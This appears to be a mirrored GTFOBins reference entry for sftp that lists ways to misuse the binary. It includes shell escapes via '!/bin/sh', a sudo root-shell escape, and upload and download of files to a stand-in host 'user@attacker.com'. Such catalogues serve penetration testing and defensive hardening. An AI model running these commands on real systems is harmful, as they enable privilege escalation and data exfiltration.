mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
26 lines
552 B
Markdown
26 lines
552 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
HOST=user@attacker.com
|
|
sftp $HOST
|
|
!/bin/sh
|
|
file-upload:
|
|
- description: Send local file to a SSH server.
|
|
code: |
|
|
RHOST=user@attacker.com
|
|
sftp $RHOST
|
|
put file_to_send file_to_save
|
|
file-download:
|
|
- description: Fetch a remote file from a SSH server.
|
|
code: |
|
|
RHOST=user@attacker.com
|
|
sftp $RHOST
|
|
get file_to_get file_to_save
|
|
sudo:
|
|
- code: |
|
|
HOST=user@attacker.com
|
|
sudo sftp $HOST
|
|
!/bin/sh
|
|
---
|